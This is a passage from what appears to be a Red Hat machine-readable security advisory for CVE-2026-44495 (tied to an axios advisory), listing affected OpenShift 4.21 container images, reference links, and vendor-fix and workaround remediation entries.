"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44495"
},
{
"category": "external",
"summary": "RHBZ#2487937",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487937"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44495",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44495"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44495",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44495"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw"
}
],
"release_date": "2026-06-11T15:33:12.433000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:24:00+00:00",
"details": "For OpenShift Container Platform 4.21 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:7224f77afb20aedaf82bfc13ca11699689bd5b06795d6d1740dbd4c265150c44\n\n (For s390x architecture)\n The image digest is sha256:73811451efed403727e561f1ffadc1936c71bbefbae526fcea86a88fe23473f2\n\n (For ppc64le architecture)\n The image digest is sha256:05cb0b4804507c0b5e7923b7c6bcf293bd4e2d0f476c8ec6d13b179eb3157b42\n\n (For aarch64 architecture)\n The image digest is sha256:fd193bcd1042c3f17c33e7668d7b9866b915ac07075e6c2e35b0fe396bfd9a51\n\nAll OpenShift Container Platform 4.21 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27044"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
